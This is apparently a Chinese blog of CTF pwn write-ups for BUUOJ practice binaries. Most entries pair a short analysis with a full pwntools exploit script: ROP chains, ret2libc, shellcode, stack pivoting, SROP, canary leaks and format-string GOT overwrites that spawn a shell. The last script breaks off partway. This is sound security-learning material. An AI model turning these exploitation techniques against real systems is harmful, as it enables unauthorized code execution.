
int_80 = 0x080493e1
eax_ret = 0x080bae06
ecx_ebx_ret = 0x0806e851
edx_ret = 0x0806e82a
edx_eax_mov = 0x0809a15d
edx_ecx_ebx_ret = 0x0806e850
data = 0x080EA060


payload = 'a' * 32 + p32(edx_ret) + p32(data) + p32(eax_ret) + "/bin" + p32(edx_eax_mov) + p32(edx_ret) + p32(data+0x4) + p32(eax_ret) + "/sh\x00" + p32(edx_eax_mov) + p32(eax_ret) + p32(0xb) + p32(edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(data) + p32(int_80)
# gdb.attach(io)
# pause()
io.sendline(payload)
io.interactive()

xdctf2015_pwn200

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

就是普通的泄露libc然后打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./bof"
# io = process(pwnfile)
elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 25423
io = remote(host, port)

write_got = elf.got["write"]
write = 0x080483C0
main = 0x0804851C

payload = 'a' * 112 + p32(write) + p32(main) + p32(1) + p32(write_got) + p32(0x8)
# gdb.attach(io, "b *0x804851a")
# pause()
io.recvuntil("Welcome to XDCTF2015~!\x0a")
io.sendline(payload)

write_address = u32(io.recv()[0:4])
log.success(hex(write_address))
libc = LibcSearcher("write", write_address)
base = write_address - libc.dump("write")
log.success(hex(base))
bin_sh = base + libc.dump('str_bin_sh')
system = base + libc.dump('system')

payload = 'a' * 112 + p32(system) + p32(main) + p32(bin_sh)
io.sendline(payload)

io.interactive()

bbys_tu_2016

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

直接溢出执行指定函数

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(log_level = "debug", arch = "i386", os = "linux")
pwnfile = "./bbys_tu_2016"
# io = process(pwnfile)
host = "node4.buuoj.cn"
port = 25094
io = remote(host, port)

printFlag = 0x0804856D
payload = 'a'* 24 + p32(printFlag)
io.sendline(payload)
io.interactive()

wustctf2020_getshell_2

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

这题shell函数里面的system参数是用不了了

只需要提取最后sh就可以了

还有一点溢出的字符被限制了只能溢出8字节所以system的plt也用不了了

直接调用shell里面的call system执行这样就够了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./wustctf2020_getshell_2"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 26528
io = remote(host, port)

sh = 0x08048670
callsyetem = 0x08048529
payload = 'a' * 28 + p32(callsyetem) + p32(sh)
# gdb.attach(io)
# pause()
io.sendline(payload)


io.interactive()from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./wustctf2020_getshell_2"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 26528
io = remote(host, port)

sh = 0x08048670
callsyetem = 0x08048529
payload = 'a' * 28 + p32(callsyetem) + p32(sh)
# gdb.attach(io)
# pause()
io.sendline(payload)


io.interactive()

mrctf2020_easyoverflow

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护全开..

主要是check函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall check(__int64 a1)
{
int i; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]

v3 = strlen(fake_flag);
for ( i = 0; ; ++i )
{
if ( i == v3 )
return 1LL;
if ( *(_BYTE *)(i + a1) != fake_flag[i] )
break;
}
return 0LL;
}

需要a1等于fake_flag

然后再回去看看主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[48]; // [rsp+0h] [rbp-70h] BYREF
char v5[24]; // [rsp+30h] [rbp-40h] BYREF
__int64 v6; // [rsp+48h] [rbp-28h]
__int64 v7; // [rsp+50h] [rbp-20h]
__int64 v8; // [rsp+58h] [rbp-18h]
__int16 v9; // [rsp+60h] [rbp-10h]
unsigned __int64 v10; // [rsp+68h] [rbp-8h]

v10 = __readfsqword(0x28u);
strcpy(v5, "ju3t_@_f@k3_f1@g");
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0;
gets(v4, argv);
if ( !(unsigned int)check((__int64)v5) )
exit(0);
system("/bin/sh");
return 0;
}

可控的是v4,传到check里面的是v5

溢出覆盖v5变成fake_flag就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./mrctf2020_easyoverflow"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 26809
io = remote(host, port)


payload = 'a' * 0x30 + "n0t_r3@11y_f1@g"
# gdb.attach(io)
# pause()
io.sendline(payload)


io.interactive()

[ZJCTF 2019]Login

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

c++看的真的好不清楚啊

这题也不是普通的栈溢出,需要倒推rax的位置..

大致就是在password_checker函数里面

1
2
3
4
5
6
7
8
.text:0000000000400A3E                 lea     rax, [rbp+s]
.text:0000000000400A42 mov rdi, rax ; s
.text:0000000000400A45 call _puts
.text:0000000000400A4A ; 10: (**a1)();
.text:0000000000400A4A mov rax, [rbp+var_68]
.text:0000000000400A4E mov rax, [rax]
.text:0000000000400A51 mov rax, [rax]
.text:0000000000400A54 call rax

有这么段代码,最后会call rax

在走到mov rax, [rbp+var_68]的时候栈的这个位置是这么个情况

1
0x7fffffffddc8 —▸ 0x7fffffffde50 —▸ 0x7fffffffde18 —▸ 0x4000b4

多级指针,最后rax肯定就是call 0x4000b4这里了

所以要想办法覆盖0x7fffffffde18的值

然后在输入密码的时候保存的栈地址是0x7fffffffddd0在0x7fffffffde18上面

这样就可以一直往下覆盖到0x7fffffffde18

覆盖0x7fffffffde18为getshell的地址

还有点密码是用strcmp来判断的所以需要截断

先输入密码用然后截断最后再覆盖到0x7fffffffde18就可以了

如果以后想到了再详细写吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='amd64', os='linux')

pwnfile = "./login"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 28822
io = remote(host, port)

shell = 0x400E88
io.sendline("aaa")

payload = "2jctf_pa5sw0rd" + '\x00' * 0x3a + p64(shell)
io.sendline(payload)

io.interactive()

ciscn_2019_s_4

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

和ciscn_2019_es_2相同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context(log_level='debug', arch='i386', os='linux')

pwnfile = "./ciscn_s_4"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 29492
io = remote(host, port)

system = 0x08048400
leave_ret = 0x080484b8

payload = 'a'*0x26 + "bb"
# gdb.attach(io, "b *0x80485cd")
# pause()

io.send(payload)
io.recvuntil("aabb")

ebp = u32(io.recv(4))

print(hex(ebp))


payload = 'a'*4 + p32(system) + 'b'*4 + p32(ebp-0x28) + "/bin/sh\x00"
payload = payload.ljust(0x28, '\x00')
payload += p32(ebp-0x38) + p32(leave_ret)
io.sendline(payload)

io.interactive()

jarvisoj_level1

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

看看漏洞点

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF

printf("What's this:%p?\n", buf);
return read(0, buf, 0x100u);
}

打印出栈的地址,直接写shellcode然后跳过去执行就可以了

不过远程的好像打不通

本地能打通的exp是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='i386', os='linux')

pwnfile = "./level1"
io = process(pwnfile)
elf = ELF(pwnfile)
# host = "node4.buuoj.cn"
# port = 25588
# io = remote(host, port)
io.recvuntil("What's this:0x")
stack = int(io.recv()[0:8],16)
log.success(hex(stack))
payload = 'a'*140 + p32(stack+0x90) + asm(shellcraft.i386.linux.sh())
# gdb.attach(io)
# pause()
io.sendline(payload)

io.interactive()

远程打不通

只能用ret2libc了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='i386', os='linux')

pwnfile = "./level1"
# io = process(pwnfile)
elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 26697
io = remote(host, port)

printf_got = elf.got["printf"]
write = 0x08048370
vuln = 0x0804847B
payload = 'a'*140 + p32(write) + p32(vuln) + p32(1) + p32(printf_got) + p32(0x8)
# gdb.attach(io)
# pause()
io.sendline(payload)

printf_address = u32(io.recv()[0:4])
log.success(hex(printf_address))
libc = LibcSearcher('printf', printf_address)
base = printf_address - libc.dump('printf')
log.success(hex(base))
bin_sh = base + libc.dump('str_bin_sh')
system = base + libc.dump('system')
payload = 'a'*140 + p32(system) + p32(vuln) + p32(bin_sh)
io.sendline(payload)

io.interactive()

wustctf2020_closed

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

考的应该是对linux的了解

1
2
3
4
5
6
7
__int64 vulnerable()
{
puts("HaHaHa!\nWhat else can you do???");
close(1);
close(2);
return shell();
}

关闭了标准输出和标准错误,就是输入命令不会有回显不过执行了

可以用

1
exec 1>&0

来重定向

这题是不太懂看了下wp应该是这个意思

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='amd64', os='linux')

pwnfile = "./wustctf2020_closed"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 26238
io = remote(host, port)

io.sendline("exec 1>&0")

io.interactive()

hitcontraining_magicheap

堆题

axb_2019_fmt32

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

很有意思的格式化字符串题目

因为$n可以在指定位置写入字符数量

可以把后面函数的plt位置修改为one_gadget的指针

这样再次执行修改后的函数就可以getshell了

来看看伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s[257]; // [esp+Fh] [ebp-239h] BYREF
char format[300]; // [esp+110h] [ebp-138h] BYREF
unsigned int v5; // [esp+23Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
setbuf(stdout, 0);
setbuf(stdin, 0);
setbuf(stderr, 0);
puts(
"Hello,I am a computer Repeater updated.\n"
"After a lot of machine learning,I know that the essence of man is a reread machine!");
puts("So I'll answer whatever you say!");
while ( 1 )
{
alarm(3u);
memset(s, 0, sizeof(s));
memset(format, 0, sizeof(format));
printf("Please tell me:");
read(0, s, 0x100u);
sprintf(format, "Repeater:%s\n", s);
if ( strlen(format) > 270 )
break;
printf(format);
}
printf("what you input is really long!");
exit(0);
}

漏洞点在倒数第二这个printf这里

由sprintf拼接的字符串到这里出现了格式化漏洞

先泄露libc的地址然后用把strlen_got替换为one_gadget就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./axb_2019_fmt32"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 28364
io = remote(host, port)

puts_got = elf.got["puts"]
strlen_got = elf.got["strlen"]

payload = "a" + p32(puts_got) + "%8$s"
# gdb.attach(io, "b *0x80486e5")
# pause()

io.recvuntil(":a")
puts_address = u32(io.recv()[4:8])
log.success(hex(puts_address))
libc = LibcSearcher("puts", puts_address)
base = puts_address - libc.dump("puts")
log.success(hex(base))
bin_sh = base + libc.dump('str_bin_sh')
strlen_addresss = base + libc.dump('strlen')
log.success("strlen: " + hex(strlen_addresss))
# payload = 'a' * 140 + p32(system) + p32(vuln) + p32(bin_sh)
# io.sendline(payload)
one_gadget = base + 0x3a812
log.success("one_gadget: " + hex(one_gadget))
high_gadget =(one_gadget >> 16) & 0xffff
low_gadget = one_gadget & 0xffff
log.success(hex(high_gadget))
log.success(hex(low_gadget))

payload = 'a' + '%' + str(low_gadget-10) + "c%15$hn" + '%' + str(high_gadget-low_gadget) + "c%16$hnaa" + p32(strlen_got) + p32(strlen_got+2)
# gdb.attach(io, "b *0x804874a")
# pause()
io.sendline(payload)

# payload = 'a' + p32(strlen_got) +p32(strlen_got+2) + '%' + str(low_gadget-18) + "c%8$hn" + '%' + str(high_gadget-low_gadget) + "c%9$hn"
# # gdb.attach(io)
# # pause()
# io.sendline(payload)
# payload = 'a' + fmtstr_payload(8, {strlen_got:one_gadget}, write_size="byte", numbwritten = 0xa)
# gdb.attach(io, "b *0x80486e5")
# pause()
# io.sendline(payload)

io.interactive()

容易掉

先输入点东西然后马上输入cat flag不然就掉了

先写点题目吧到时候会把几道有意思的题目选出来写详细

这题写了好几种payload都可以的

pwntools自带fmtstr_payload也可以构造payload

还有一种是纯手动的这样可以更清楚的学习

然后看懂手动的又学着写了一个都是可以用的

babyfengshui_33c3_2016

堆题

ciscn_2019_n_3

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

堆题

pwnable_start

1
2
3
4
5
Arch:     i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)

汇编写的题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
.text:08048060                 push    esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push 3A465443h
.text:08048073 push 20656874h
.text:08048078 push 20747261h
.text:0804807D push 74732073h
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 3Ch ; '<'
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -
.text:08048099 add esp, 14h
.text:0804809C retn

就是系统调用read write

存在溢出漏洞,不过因为是汇编写的程序没有别的地方可以跳,只能看这几行了

溢出的字符数是20

关键的问题就是跳到哪里去可以泄露出地址

这里不多写了到时候打pwnable的时候再写的详细点

跳到0x08048087可以泄露栈地址

首次走到mov ecx, esp是把字符串指针存到ecx里面

跳到这里就是把栈顶的值取过来了

这里有个关键点就是不能用sendline

因为多出来的换行符会覆盖掉要泄露地址的首个字节导致地址不对

通过泄露的栈顶得到编译最后在栈中写入shellcode跳过去执行就可以了

这里还不能直接用asm(shellcraft.i386.linux.sh())有长度限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./start"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 25716
io = remote(host, port)

payload = 'a' * 20 + p32(0x08048087)
# gdb.attach(io)
# pause()
io.send(payload)
io.recvuntil("CTF:")
esp = u32(io.recv()[0:4])
log.success(hex(esp))

shell = '''
mov eax, 0xb
push 0x0068732f
push 0x6e69622f
mov ebx, esp
xor ecx,ecx
xor edx,edx
int 0x80
'''

payload = 'a' * 20 + p32(esp+0x14) + asm(shell)
# gdb.attach(io)
# pause()
io.send(payload)
io.interactive()

others_babystack

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

先用输入字符串拼接canary

然后用打印输出canary最后实现溢出

不过这题又是那种..本地和远程payload要改的题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='amd64', os='linux')

pwnfile = "./babystack"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 27418
io = remote(host, port)

puts = 0x400690
puts_got = elf.got["puts"]
main = 0x400908

rdi_ret = 0x0000000000400a93
io.recvuntil(">> ")
io.sendline("1")
payload = 'a' * 132 + "this"
# gdb.attach(io)
# pause()
io.sendline(payload)
io.recvuntil(">> ")
io.sendline("2")
io.recvuntil("this")

canary = u64(io.recv()[0:8].replace('\x0a', '\x00'))
log.success(hex(canary))

io.recv() #把这行注释掉就可以打本地了

io.sendline("1")

payload = 'a' * 136 + p64(canary) + p64(0x2222222222222222) + p64(rdi_ret) + p64(puts_got) + p64(puts) + p64(main)
# # gdb.attach(io)
# # pause()
io.sendline(payload)

io.recvuntil(">> ")
io.sendline("3")

# io.recvuntil(">> ")
puts_got_address = u64(io.recv(6).ljust(8, '\x00'))
log.success(hex(puts_got_address))
libc = LibcSearcher('puts', puts_got_address)
base = puts_got_address - libc.dump('puts')
log.success(hex(base))
bin_sh = base + libc.dump('str_bin_sh')
system = base + libc.dump('system')
io.recvuntil(">> ")

io.send("1")
payload = 'a' * 136 + p64(canary) + p64(0x2222222222222222) + p64(rdi_ret) + p64(bin_sh) + p64(system) + p64(main)
# gdb.attach(io)
# pause()
io.sendline(payload)
io.recvuntil(">> ")
io.sendline("3")



io.interactive()

gyctf_2020_borrowstack

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

漏洞点在主函数

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[96]; // [rsp+0h] [rbp-60h] BYREF

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts(&s);
read(0, buf, 112uLL);
puts("Done!You can check and use your borrow stack now!");
read(0, &bank, 0x100uLL);
return 0;
}

第二次read写在了bss段

这题应该是考64位的栈迁移

直接把gdaget写在bss然后用leave迁移过去然后就是正常的ret2libc了

不知道为啥找到system和/bin/sh还是执行不了

最后选择了one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='amd64', os='linux')

pwnfile = "./gyctf_2020_borrowstack"
# io = process(pwnfile)
elf = ELF(pwnfile)


host = "node4.buuoj.cn"
port = 27590
io = remote(host, port)


puts_got = elf.got["puts"]
puts = 0x04004E0


rdi_ret = 0x400703
leave = 0x400699
bank = 0x601080
ret = 0x40069A
main = 0x400626


payload = 'a' * 96 + p64(bank) + p64(leave)
io.send(payload)
payload = 'a' * 8 + p64(ret)*20 + p64(rdi_ret) + p64(puts_got) + p64(puts) + p64(main)
io.send(payload)

io.recvuntil("!\x0a")
puts_got_address = u64(io.recv(6).ljust(8, '\x00'))
log.success(hex(puts_got_address))
libc = LibcSearcher('puts', puts_got_address)
base = puts_got_address - libc.dump('puts')
log.success(hex(base))
#one_gadget = base + 0x45206
one_gadget = base + 0x4526a

payload = 'a' * 96 + p64(bank) + p64(one_gadget)
# gdb.attach(io)
# pause()
io.send(payload)


io.interactive()

hitcontraining_heapcreator

堆题

0ctf_2017_babyheap

堆题

ciscn_2019_s_9

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int pwn()
{
char s[24]; // [esp+8h] [ebp-20h] BYREF

puts("\nHey! ^_^");
puts("\nIt's nice to meet you");
puts("\nDo you have anything to tell?");
puts(">");
fflush(stdout);
fgets(s, 50, stdin);
puts("OK bye~");
fflush(stdout);
return 1;
}

还有hint函数

1
2
3
4
void hint()
{
__asm { jmp esp }
}

来winxp的感觉了..

直接写shellcode然后跳就可以了

就是这条shellcode要写的很短只能在0x24字节以内

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./ciscn_s_9"
# io = process(pwnfile)
elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 26064
io = remote(host, port)


shell = '''
push 0xb
pop eax
push 0x0068732f
push 0x6e69622f
mov ebx, esp
xor ecx,ecx
xor edx,edx
int 0x80
'''

jmp_esp = '''
sub esp, 0x28
jmp esp
'''

hint = 0x08048554

payload = asm(shell).ljust(0x24, '\x00') + p32(hint) + asm(jmp_esp)
# gdb.attach(io, "b *0x08048547")
# pause()
io.sendline(payload)
io.interactive()

hitcon2014_stkof

堆题

picoctf_2018_shellcode

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

直接打shellcode就可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./PicoCTF_2018_shellcode"
# io = process(pwnfile)
elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 29451
io = remote(host, port)


shell = '''
mov eax,0xb
push 0x0068732f
push 0x6e69622f
mov ebx, esp
xor ecx,ecx
xor edx,edx
int 0x80
'''



payload = asm(shell)
# gdb.attach(io, "b *0x08048547")
# pause()
io.sendline(payload)
io.interactive()

pwnable_hacknote

堆题

roarctf_2019_easy_pwn

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

堆题

ciscn_2019_es_7

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

和ciscn_s_3相同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='amd64', os='linux')

pwnfile = "./ciscn_2019_es_7"
io = process(pwnfile)
elf = ELF(pwnfile)


host = "node4.buuoj.cn"
port = 28786
io = remote(host, port)

gadgets = 0x4004DA
syscall = 0x400517
vuln = 0x4004ED



payload = "/bin/sh\x00" + 'a' * 8 + p64(vuln)
# gdb.attach(io, "b *0x40050a")
# pause()
io.sendline(payload)
stack = u64(io.recv()[0x20:0x28])

bin_sh = stack-0x118

sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = bin_sh
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rsp = stack
sigframe.rip = syscall

payload = "/bin/sh\x00" + 'a' * 8 + p64(gadgets) + p64(syscall) + str(sigframe)
io.sendline(payload)
io.interactive()

jarvisoj_level5

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

这题好像题目放错了

直接拿level3_x64打

hitcontraining_bamboobox

堆题

npuctf_2020_easyheap

堆题

cmcc_pwnme2

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

看了代码这种溢出肯定是可以用ret2libc打的

想看看别的方法去网上找找

有exec_string函数

1
2
3
4
5
6
7
8
9
10
11
12
13
int exec_string()
{
char s; // [esp+Bh] [ebp-Dh] BYREF
FILE *stream; // [esp+Ch] [ebp-Ch]

stream = fopen(&string, "r");
if ( !stream )
perror("Wrong file");
fgets(&s, 50, stream);
puts(&s);
fflush(stdout);
return fclose(stream);
}

string的地址是0804A060

直接溢出然后往string里面写flag最后调用exec_string

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./pwnme2"
# io = process(pwnfile)
elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 27373
io = remote(host, port)

string = 0x0804A060
exec_string = 0x080485CB
gets = 0x08048440

payload = 'a' * 112 + p32(gets) + p32(exec_string) + p32(string)
io.sendline(payload)
io.sendline("/flag")
io.interactive()

picoctf_2018_got_shell

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

漏洞点伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
_DWORD *v3; // [esp+14h] [ebp-114h] BYREF
int v4; // [esp+18h] [ebp-110h] BYREF
char s[256]; // [esp+1Ch] [ebp-10Ch] BYREF
unsigned int v6; // [esp+11Ch] [ebp-Ch]

v6 = __readgsdword(0x14u);
setvbuf(_bss_start, 0, 2, 0);
puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");
__isoc99_scanf("%x", &v3);
sprintf(s, "Okay, now what value would you like to write to 0x%x", v3);
puts(s);
__isoc99_scanf("%x", &v4);
sprintf(s, "Okay, writing 0x%x to 0x%x", v4, v3);
puts(s);
*v3 = v4;
puts("Okay, exiting now...\n");
exit(1);
}

就是输入地址然后往地址写入四字节的数据

直接用后门函数win覆盖掉puts的got就可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./PicoCTF_2018_got-shell"
# io = process(pwnfile)
elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 29319
io = remote(host, port)

puts_got = elf.got["puts"]
win = 0x0804854B

payload = hex(puts_got)
io.sendline(payload)

payload = hex(win)
io.sendline(payload)
io.interactive()

picoctf_2018_can_you_gets_me

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

又是直接打rop的题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./PicoCTF_2018_can-you-gets-me"
# io = process(pwnfile)
elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 29591
io = remote(host, port)

int_80 = 0x0806cc25
ebx_edx_ret = 0x0806f029
eax_ret = 0x080b81c6
ecx_ret = 0x080de955
edx_ret = 0x0806f02a
edx_eax_mov = 0x080549db
data = 0x080EA060

payload = 'a' * 28 + p32(edx_ret) + p32(data) + p32(eax_ret) + "/bin" + p32(edx_eax_mov) + p32(edx_ret) + p32(data+0x4) + p32(eax_ret) + "/sh\x00" + p32(edx_eax_mov) + p32(eax_ret) + p32(0xb) + p32(ebx_edx_ret) + p32(data) + p32(0) + p32(ecx_ret) + p32(0) + p32(int_80)
# gdb.attach(io)
# pause()
io.sendline(payload)
io.interactive()

wdb_2018_2nd_easyfmt

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

和axb_2019_fmt32类似的题目

需要先泄露libc地址

就是one_gadget用不了不知道为什么

需要把printf的got覆盖成sysyem的然后在read的时候输入/bin/sh就可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./wdb_2018_2nd_easyfmt"
# io = process(pwnfile)
elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 29877
io = remote(host, port)


puts_got = elf.got["puts"]
read_got = elf.got["read"]
printf_got = elf.got["printf"]

payload = p32(puts_got) + "%6$s"
# gdb.attach(io, "b *0x80485ca")
# pause()
io.sendline(payload)
io.recvline()
puts_address = u32(io.recv()[4:8])
log.success(hex(puts_address))
libc = LibcSearcher("puts", puts_address)
base = puts_address - libc.dump("puts")
log.success(hex(base))

system = base + libc.dump('system')
log.success("system: " + hex(system))
high_system =(system >> 16) & 0xffff
low_system = system & 0xffff
